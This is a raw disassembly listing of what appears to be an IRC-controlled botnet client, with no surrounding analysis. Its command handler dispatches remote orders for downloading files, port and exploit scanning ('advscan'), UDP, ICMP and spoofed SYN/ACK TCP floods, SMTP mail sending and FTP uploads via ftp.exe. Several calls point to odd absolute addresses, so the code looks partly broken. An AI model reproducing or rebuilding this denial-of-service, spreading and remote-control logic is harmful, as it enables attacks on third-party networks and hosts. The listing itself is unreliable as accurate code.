loc_4126DA push [ebp+arg_8] push offset aDownload_wget ; "download.wget" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412599 push [ebp+arg_8] push offset aDownload_wg ; "download.wg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412599 push [ebp+arg_8] push offset aDaemon_redirec ; "daemon.redirect" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249C push [ebp+arg_8] push offset aDaemon_rd ; "daemon.rd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41249C push [ebp+arg_8] push offset aRoot_portscan ; "root.portscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123A9 push [ebp+arg_8] push offset aRoot_ps ; "root.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4123A9 push [ebp+arg_8] push offset aClone_privmsg ; "clone.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D4 push [ebp+arg_8] push offset aClone_pm ; "clone.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4122D4 push [ebp+arg_8] push offset aClone_action ; "clone.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BC push [ebp+arg_8] push offset aClone_ac ; "clone.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4121BC mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_10], eax jz loc_40F239 push [ebp+arg_8] push offset aAdvscan ; "advscan" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aAdv ; "adv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411E65 push [ebp+arg_8] push offset aDdos_udpflood ; "ddos.udpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_udpf ; "ddos.udpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aU ; "u" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411D42 push [ebp+arg_8] push offset aDdos_pingflood ; "ddos.pingflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_pingf ; "ddos.pingf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aP ; "p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411BFE push [ebp+arg_8] push offset aDdos_tcpflood ; "ddos.tcpflood" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aDdos_tcpf ; "ddos.tcpf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A65 push [ebp+arg_8] push offset aUtil_email ; "util.email" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_41189C lea eax, [ebp+var_3F8] push edi push eax call sub_4179C0 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+arg_18], eax lea eax, [ebp+var_DB0] push eax call sub_4179C0 push [ebp+arg_10] lea eax, [ebp+var_BA8] push eax call sub_4179C0 push offset asc_42A3B4 ; " " push offset a__0 ; "_" push [ebp+esi+var_80] call sub_40A7D7 push eax lea eax, [ebp+var_55C] push eax call sub_4179C0 add esp, 30h lea eax, [ebp+var_6EC] push eax push 101h call dword_43F5E0 lea eax, [ebp+var_3F8] push eax call dword_43F6EC push 6 push 1 push 2 mov edi, eax call dword_43F6E8 push [ebp+arg_18] mov esi, eax mov [ebp+var_2EC], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_2E8], eax call dword_43F668 mov [ebp+var_2EA], ax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_55C] push eax lea eax, [ebp+var_BA8] push eax lea eax, [ebp+var_DB0] push eax lea eax, [ebp+var_15B0] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax call sub_4172AE add esp, 1Ch lea eax, [ebp+var_2EC] push 10h push eax push esi call dword_43F610 mov edi, 100h push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43F680 lea eax, [ebp+var_CAC] push ebx push eax call sub_417AB0 pop ecx push eax lea eax, [ebp+var_15B0] push eax push esi call dword_43F6B8 push ebx lea eax, [ebp+var_CAC] push edi push eax push esi call dword_43F680 push esi call dword_43F700 call dword_43F5C8 lea eax, [ebp+var_BA8] push eax push offset unk_4373F4 loc_411888: ; CODE XREF: sub_40EE72+3B51j ; sub_40EE72+3E38j ... lea eax, [ebp+var_2DC] push eax call sub_4172AE add esp, 0Ch jmp loc_413A62 ; --------------------------------------------------------------------------- loc_41189C: ; CODE XREF: sub_40EE72+28C0j push [ebp+arg_8] push offset aUtil_httpcon ; "util.httpcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 push [ebp+arg_8] push offset aUtil_hcon ; "util.hcon" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_411A34 mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40F239 push [ebp+arg_8] push offset aFtp_upload ; "ftp.upload" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_414F45 push 4 push esi call sub_40D000 pop ecx test eax, eax pop ecx jnz short loc_411906 push esi push offset dword_43739C jmp loc_413BFB ; --------------------------------------------------------------------------- loc_411906: ; CODE XREF: sub_40EE72+2A87j nop call near ptr 25F085Ah push eax call sub_417300 pop ecx call sub_41730A push 9 cdq pop ecx idiv ecx push edx call sub_41730A push 63h cdq pop ecx idiv ecx push edx call sub_41730A cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_CB0] push edx push eax lea eax, [ebp+var_BAC] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_4172AE lea eax, [ebp+var_BAC] push offset aAb ; "ab" push eax call sub_4179A8 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_40F239 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_417956 push [ebp+arg_24] call sub_417900 add esp, 20h lea eax, [ebp+var_BAC] push eax lea eax, [ebp+var_3F8] push offset aSS_4 ; "-s:%s" push eax call sub_4172AE add esp, 0Ch lea eax, [ebp+var_3F8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_43F5DC test eax, eax push edi push esi jz short loc_4119D3 push offset dword_437324 jmp short loc_4119D8 ; --------------------------------------------------------------------------- loc_4119D3: ; CODE XREF: sub_40EE72+2B58j push offset dword_4372E8 loc_4119D8: ; CODE XREF: sub_40EE72+2B5Fj call sub_4172AE add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_411A01 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_411A01: ; CODE XREF: sub_40EE72+2B71j lea eax, [ebp+var_2DC] push eax call sub_40BF6D loc_411A0D: ; CODE XREF: sub_40EE72+2BC0j lea eax, [ebp+var_BAC] push 4 push eax call sub_40D000 add esp, 0Ch test eax, eax jz loc_40F239 lea eax, [ebp+var_BAC] push eax call sub_419BBA jmp short loc_411A0D ; --------------------------------------------------------------------------- loc_411A34: ; CODE XREF: sub_40EE72+2A3Bj ; sub_40EE72+2A52j push [ebp+esi+var_80] push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] call sub_41781F pop ecx push eax push edi push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_406AF8 loc_411A5D: ; CODE XREF: sub_40EE72+5878j add esp, 24h jmp loc_414F45 ; --------------------------------------------------------------------------- loc_411A65: ; CODE XREF: sub_40EE72+2892j ; sub_40EE72+28A9j mov esi, 80h push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A lea eax, [ebp+var_678] push eax push offset aSyn ; "syn" call sub_4176D0 add esp, 14h test eax, eax jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aAck ; "ack" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 lea eax, [ebp+var_678] push eax push offset aRandom ; "random" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411AC8 push offset dword_4372B0 jmp loc_4145FC ; --------------------------------------------------------------------------- loc_411AC8: ; CODE XREF: sub_40EE72+2C1Cj ; sub_40EE72+2C33j ... push [ebp+arg_10] call sub_41781F cmp eax, ebx pop ecx mov [ebp+var_570], eax jle loc_411BF4 push edi lea eax, [ebp+var_678] push esi push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_6F8] push [ebp+arg_18] push esi push eax call sub_41782A push [ebp+arg_0] call sub_41781F mov [ebp+var_574], eax add esp, 10h xor eax, eax cmp [ebp+var_9B6], bl push [ebp+var_8C] setnz al mov [ebp+var_56C], eax mov eax, [ebp+arg_4] mov [ebp+var_6FC], eax lea eax, [ebp+var_5F8] push esi push eax call sub_41782A mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_56C], ebx mov [ebp+var_568], eax mov eax, [ebp+var_8] mov [ebp+var_564], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_411B65 mov eax, offset aNormal ; "Normal" loc_411B65: ; CODE XREF: sub_40EE72+2CECj push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push eax push offset dword_43725C lea eax, [ebp+var_2DC] push 200h push eax call sub_41782A push ebx lea eax, [ebp+var_2DC] push 0Ch push eax call sub_416D5A add esp, 2Ch mov [ebp+var_578], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6FC] push ebx push eax push offset sub_401D82 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_578] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411BE3 loc_411BCD: ; CODE XREF: sub_40EE72+2D6Fj cmp [ebp+var_560], ebx jnz loc_41460A push 32h call near ptr 26004EDh nop jmp short loc_411BCD ; --------------------------------------------------------------------------- loc_411BE3: ; CODE XREF: sub_40EE72+2D59j call near ptr 264030Ch nop push eax push offset dword_437214 jmp loc_413BFB ; --------------------------------------------------------------------------- loc_411BF4: ; CODE XREF: sub_40EE72+2C67j push offset dword_4371CC jmp loc_4145FC ; --------------------------------------------------------------------------- loc_411BFE: ; CODE XREF: sub_40EE72+284Dj ; sub_40EE72+2864j ... cmp dword_43F758, ebx mov esi, [ebp+arg_4] jnz loc_411D09 mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F push 7Fh mov [ebp+var_310], eax push [ebp+var_8C] lea eax, [ebp+var_418] push eax call sub_418C10 add esp, 24h lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset unk_437174 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 0Eh push eax call sub_416D5A add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40AF86 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411CF8 loc_411CE6: ; CODE XREF: sub_40EE72+2E84j cmp [ebp+var_2FC], ebx jnz short loc_411D22 push 32h call near ptr 26004EDh nop jmp short loc_411CE6 ; --------------------------------------------------------------------------- loc_411CF8: ; CODE XREF: sub_40EE72+2E72j nop call near ptr 264030Ch push eax push offset unk_43712C jmp loc_4128CC ; --------------------------------------------------------------------------- loc_411D09: ; CODE XREF: sub_40EE72+2D95j push 1FFh lea eax, [ebp+var_2DC] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax call sub_418C10 loc_411D1F: ; CODE XREF: sub_40EE72+3A66j add esp, 0Ch loc_411D22: ; CODE XREF: sub_40EE72+2E7Aj ; sub_40EE72+2FD2j ... cmp [ebp+var_8], ebx jnz loc_414E0F push ebx push [ebp+var_4] loc_411D2F: ; CODE XREF: sub_40EE72+567Cj lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push esi jmp loc_414627 ; --------------------------------------------------------------------------- loc_411D42: ; CODE XREF: sub_40EE72+2808j ; sub_40EE72+281Fj ... mov eax, [ebp+var_8] push 7Fh mov [ebp+var_300], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax lea eax, [ebp+var_398] push edi push eax call sub_418C10 push [ebp+arg_18] call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F push [ebp+arg_10] mov [ebp+var_314], eax call sub_41781F mov esi, [ebp+esi+var_80] add esp, 18h cmp esi, ebx mov [ebp+var_310], eax jz short loc_411DA7 push esi call sub_41781F pop ecx mov [ebp+var_30C], eax jmp short loc_411DAD ; --------------------------------------------------------------------------- loc_411DA7: ; CODE XREF: sub_40EE72+2F24j mov [ebp+var_30C], ebx loc_411DAD: ; CODE XREF: sub_40EE72+2F33j push 7Fh lea eax, [ebp+var_418] push [ebp+var_8C] push eax call sub_418C10 add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_398] mov [ebp+var_41C], esi push [ebp+var_310] push [ebp+var_314] push eax lea eax, [ebp+var_2DC] push [ebp+var_318] push offset dword_4370BC push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 0Fh push eax call sub_416D5A add esp, 24h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_41C] push ebx push eax push offset sub_40B112 push ebx push ebx call near ptr 2670B28h nop mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_411E54 loc_411E3E: ; CODE XREF: sub_40EE72+2FE0j cmp [ebp+var_2FC], ebx jnz loc_411D22 push 32h call near ptr 26004EDh nop jmp short loc_411E3E ; --------------------------------------------------------------------------- loc_411E54: ; CODE XREF: sub_40EE72+2FCAj nop call near ptr 264030Ch push eax push offset dword_437074 jmp loc_4128CC ; --------------------------------------------------------------------------- loc_411E65: ; CODE XREF: sub_40EE72+27DAj ; sub_40EE72+27F1j push 8 call sub_416FA2 push [ebp+arg_18] mov [ebp+arg_8], eax call sub_41781F add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 258h jle short loc_411EB8 push [ebp+arg_8] lea eax, [ebp+var_2DC] push offset unk_437028 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 20h jmp loc_414F45 ; --------------------------------------------------------------------------- loc_411EB8: ; CODE XREF: sub_40EE72+300Fj push edi call sub_41781F push [ebp+arg_18] mov [ebp+var_330], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_318], eax call sub_41781F add esp, 0Ch cmp eax, 2 mov [ebp+var_32C], eax jnb short loc_411EF1 push 2 pop eax mov [ebp+var_32C], eax loc_411EF1: ; CODE XREF: sub_40EE72+3074j push 3Ch pop ecx cmp eax, ecx jbe short loc_411EFE mov [ebp+var_32C], ecx loc_411EFE: ; CODE XREF: sub_40EE72+3084j push [ebp+arg_10] call sub_41781F cmp eax, 320h pop ecx mov [ebp+var_328], eax jbe short loc_411F1E mov [ebp+var_328], 320h loc_411F1E: ; CODE XREF: sub_40EE72+30A0j or [ebp+var_314], 0FFFFFFFFh cmp dword_42ACB0, ebx mov [ebp+arg_0], ebx jz short loc_411F74 mov [ebp+arg_24], offset dword_42ACB0 loc_411F37: ; CODE XREF: sub_40EE72+30E4j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_411F5A add [ebp+arg_24], 3Ch inc [ebp+arg_0] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_411F37 jmp short loc_411F74 ; --------------------------------------------------------------------------- loc_411F5A: ; CODE XREF: sub_40EE72+30D6j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_314], eax imul ecx, 3Ch mov ecx, dword_42ACB0[ecx] mov [ebp+var_330], ecx loc_411F74: ; CODE XREF: sub_40EE72+30BCj ; sub_40EE72+30E6j cmp [ebp+var_330], ebx jz loc_414037 mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_411FBB cmp byte ptr [edi], 23h jz short loc_411FBB push edi lea eax, [ebp+var_444] push 10h push eax call sub_41782A push 78h push edi call sub_418F50 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_304], eax jmp loc_41208F ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_40EE72+3117j ; sub_40EE72+311Cj cmp [ebp+var_9C7], bl jnz short loc_411FDD cmp [ebp+var_9C6], bl jnz short loc_411FDD cmp [ebp+var_9B6], bl jnz short loc_411FDD push offset unk_436FE4 jmp loc_4145FC ; --------------------------------------------------------------------------- loc_411FDD: ; CODE XREF: sub_40EE72+314Fj ; sub_40EE72+3157j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2EC] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_43F60C mov al, [ebp+var_9C7] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2E8], eax push [ebp+var_2E8] call dword_43F6F4 push eax lea eax, [ebp+var_444] push eax call sub_418C10 add esp, 0Ch cmp [ebp+var_9B6], bl jz short loc_412089 xor eax, eax cmp [ebp+var_9C7], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_444] push eax call sub_418F10 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_41207D loc_41205B: ; CODE XREF: sub_40EE72+3209j cmp eax, ebx jz short loc_41207D mov byte ptr [eax], 78h lea eax, [ebp+var_444] push 30h push eax call sub_418F10 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_41205B loc_41207D: ; CODE XREF: sub_40EE72+31E7j ; sub_40EE72+31EBj mov [ebp+var_304], 1 jmp short loc_41208F ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_40EE72+31C1j mov [ebp+var_304], ebx loc_41208F: ; CODE XREF: sub_40EE72+3144j ; sub_40EE72+3215j mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_334], eax mov eax, [ebp+var_4] mov [ebp+var_30C], eax mov eax, [ebp+var_8] mov [ebp+var_308], eax mov edi, 80h lea eax, [ebp+var_434] push edi push eax call sub_41782A mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_4120E0 loc_4120CD: ; CODE XREF: sub_40EE72+3291j push esi loc_4120CE: ; CODE XREF: sub_40EE72+327Bj lea eax, [ebp+var_3B4] push edi push eax call sub_41782A add esp, 0Ch jmp short loc_41210B ; --------------------------------------------------------------------------- loc_4120E0: ; CODE XREF: sub_40EE72+3259j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_4120EF cmp byte ptr [eax], 23h jnz short loc_4120EF push eax jmp short loc_4120CE ; --------------------------------------------------------------------------- loc_4120EF: ; CODE XREF: sub_40EE72+3273j ; sub_40EE72+3278j mov esi, offset aF ; "#f" push offset byte_43C80C push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4120CD mov [ebp+var_3B4], bl loc_41210B: ; CODE XREF: sub_40EE72+326Cj cmp [ebp+var_304], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_41211D mov eax, offset aSequential ; "Sequential" loc_41211D: ; CODE XREF: sub_40EE72+32A4j push [ebp+var_318] lea ecx, [ebp+var_444] push [ebp+var_328] push [ebp+var_32C] push [ebp+var_330] push ecx push eax lea eax, [ebp+var_2DC] push offset unk_436F60 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5A add esp, 2Ch mov [ebp+var_324], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_444] push ebx push eax push offset sub_40797F push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_324] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4121AB loc_412195: ; CODE XREF: sub_40EE72+3337j cmp [ebp+var_300], ebx jnz loc_41460A push 32h nop call near ptr 26004EDh jmp short loc_412195 ; --------------------------------------------------------------------------- loc_4121AB: ; CODE XREF: sub_40EE72+3321j nop call near ptr 264030Ch push eax push offset unk_436F18 jmp loc_413BFB ; --------------------------------------------------------------------------- loc_4121BC: ; CODE XREF: sub_40EE72+279Aj ; sub_40EE72+27B1j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_4450D8[eax], bl jz loc_414F45 cmp [ebp+var_C], ebx jz loc_414F45 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 add esp, 14h mov esi, eax lea eax, [ebp+var_2DC] push esi push offset dword_436F0C push eax call sub_4172AE add esp, 0Ch cmp esi, ebx jz loc_414F45 push edi call sub_41781F test eax, eax pop ecx jle loc_414F45 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F45 push ebx lea eax, [ebp+var_2DC] push ebx push eax push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_444EC0[eax], 73h jnz loc_414F45 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_4450D8 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] * %s %s" loc_4122A7: ; CODE XREF: sub_40EE72+3532j lea eax, [ebp+var_2DC] push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 28h jmp loc_414F45 ; --------------------------------------------------------------------------- loc_4122D4: ; CODE XREF: sub_40EE72+276Cj ; sub_40EE72+2783j push edi call sub_41781F imul eax, 234h pop ecx cmp byte_4450D8[eax], bl jz loc_414F45 cmp [ebp+var_C], ebx jz loc_414F45 push [ebp+arg_18] call sub_417AB0 push edi mov esi, eax call sub_417AB0 push [ebp+arg_8] add esi, eax call sub_417AB0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_417880 mov esi, eax add esp, 14h cmp esi, ebx jz loc_414F45 push edi call sub_41781F test eax, eax pop ecx jle loc_414F45 push edi call sub_41781F cmp eax, 1F4h pop ecx jge loc_414F45 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41781F imul eax, 234h pop ecx push dword_4450CC[eax] call sub_40D679 push edi call sub_41781F imul eax, 234h add esp, 18h cmp byte ptr dword_444EC0[eax], 73h jnz loc_414F45 push esi push edi call sub_41781F imul eax, 234h pop ecx add eax, offset byte_4450D8 push eax push [ebp+arg_18] push offset aSSS_0 ; "[%s] <%s> %s" jmp loc_4122A7 ; --------------------------------------------------------------------------- loc_4123A9: ; CODE XREF: sub_40EE72+273Ej ; sub_40EE72+2755j push edi call dword_43F6A8 push [ebp+arg_18] mov [ebp+var_474], eax call sub_41781F push [ebp+arg_0] mov [ebp+var_480], eax call sub_41781F mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_47C], eax lea eax, [ebp+var_500] mov [ebp+var_504], esi push eax call sub_418C10 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_46C], edi push [ebp+var_47C] mov [ebp+var_468], eax push [ebp+var_480] push [ebp+var_474] call dword_43F6F4 push eax lea eax, [ebp+var_2DC] push offset unk_436EA0 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 8 push eax call sub_416D5A add esp, 20h mov [ebp+var_478], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_504] push ebx push eax push offset byte_415E35 push ebx push ebx call near ptr 2670B28h nop mov ecx, [ebp+var_478] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_41248B loc_412475: ; CODE XREF: sub_40EE72+3617j cmp [ebp+var_464], ebx jnz loc_4144E3 push 32h nop call near ptr 26004EDh jmp short loc_412475 ; --------------------------------------------------------------------------- loc_41248B: ; CODE XREF: sub_40EE72+3601j nop call near ptr 264030Ch push eax push offset unk_436E54 jmp loc_4144D4 ; --------------------------------------------------------------------------- loc_41249C: ; CODE XREF: sub_40EE72+2710j ; sub_40EE72+2727j push edi call sub_41781F push 7Fh mov [ebp+var_314], eax push [ebp+arg_18] lea eax, [ebp+var_418] push eax call sub_418C10 push [ebp+arg_0] call sub_41781F mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_318], eax lea eax, [ebp+var_398] push [ebp+var_8C] mov [ebp+var_420], esi push 80h push eax call sub_41782A mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_304], eax push [ebp+var_318] lea eax, [ebp+var_418] mov [ebp+var_308], edi push eax push [ebp+var_314] push esi call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_436E08 push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 10h push eax call sub_416D5A add esp, 24h mov [ebp+var_310], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_420] push ebx push eax push offset sub_407BDE push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_310] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_412588 loc_412572: ; CODE XREF: sub_40EE72+3714j cmp [ebp+var_300], ebx jnz loc_4144E3 push 32h nop call near ptr 26004EDh jmp short loc_412572 ; --------------------------------------------------------------------------- loc_412588: ; CODE XREF: sub_40EE72+36FEj nop call near ptr 264030Ch push eax push offset unk_436DB4 jmp loc_4144D4 ; --------------------------------------------------------------------------- loc_412599: ; CODE XREF: sub_40EE72+26E2j ; sub_40EE72+26F9j push 0FFh lea eax, [ebp+var_780] push edi push eax call sub_418C10 push 0FFh lea eax, [ebp+var_680] push [ebp+arg_18] push eax call sub_418C10 push [ebp+arg_0] mov [ebp+var_57C], ebx call sub_41781F mov [ebp+var_578], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_4125F5 push 10h push ebx push eax call sub_418A3B add esp, 0Ch mov [ebp+var_570], eax jmp short loc_4125FB ; --------------------------------------------------------------------------- loc_4125F5: ; CODE XREF: sub_40EE72+376Dj mov [ebp+var_570], ebx loc_4125FB: ; CODE XREF: sub_40EE72+3781j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_412612 push esi call sub_41781F pop ecx mov [ebp+var_574], eax jmp short loc_412618 ; --------------------------------------------------------------------------- loc_412612: ; CODE XREF: sub_40EE72+378Fj mov [ebp+var_574], ebx loc_412618: ; CODE XREF: sub_40EE72+379Ej movzx eax, [ebp+var_9C3] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_56C], eax lea eax, [ebp+var_800] mov [ebp+var_804], esi push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_564], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_568], eax lea eax, [ebp+var_2DC] push edi push offset unk_436D78 push eax call sub_4172AE push esi lea eax, [ebp+var_2DC] push 16h push eax call sub_416D5A add esp, 1Ch mov [ebp+var_580], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_804] push ebx push eax push offset sub_40CAF1 push ebx push ebx call near ptr 2670B28h nop mov ecx, [ebp+var_580] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4126C9 loc_4126B3: ; CODE XREF: sub_40EE72+3855j cmp [ebp+var_560], ebx jnz loc_411D22 push 32h nop call near ptr 26004EDh jmp short loc_4126B3 ; --------------------------------------------------------------------------- loc_4126C9: ; CODE XREF: sub_40EE72+383Fj nop call near ptr 264030Ch push eax push offset unk_436D28 jmp loc_4128CC ; --------------------------------------------------------------------------- loc_4126DA: ; CODE XREF: sub_40EE72+26B4j ; sub_40EE72+26CBj push 7Fh lea eax, [ebp+var_76C] pop esi push esi push edi push eax call sub_418C10 push esi lea eax, [ebp+var_6EC] push [ebp+arg_18] push eax call sub_418C10 push esi lea eax, [ebp+var_66C] push [ebp+arg_0] push eax call sub_418C10 push esi lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_8] add esp, 30h mov esi, [ebp+var_4] mov [ebp+var_564], eax push [ebp+arg_0] mov eax, [ebp+arg_4] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push [ebp+arg_18] mov [ebp+var_568], esi push edi push offset dword_436CEC push eax call sub_4172AE push ebx lea eax, [ebp+var_2DC] push 0Bh push eax call sub_416D5A add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_4019D7 push ebx push ebx nop call near ptr 2670B28h mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_4127AD loc_41279B: ; CODE XREF: sub_40EE72+3939j cmp [ebp+var_560], ebx jnz short loc_4127C8 push 32h nop call near ptr 26004EDh jmp short loc_41279B ; --------------------------------------------------------------------------- loc_4127AD: ; CODE XREF: sub_40EE72+3927j nop call near ptr 264030Ch push eax lea eax, [ebp+var_2DC] push offset dword_436CA4 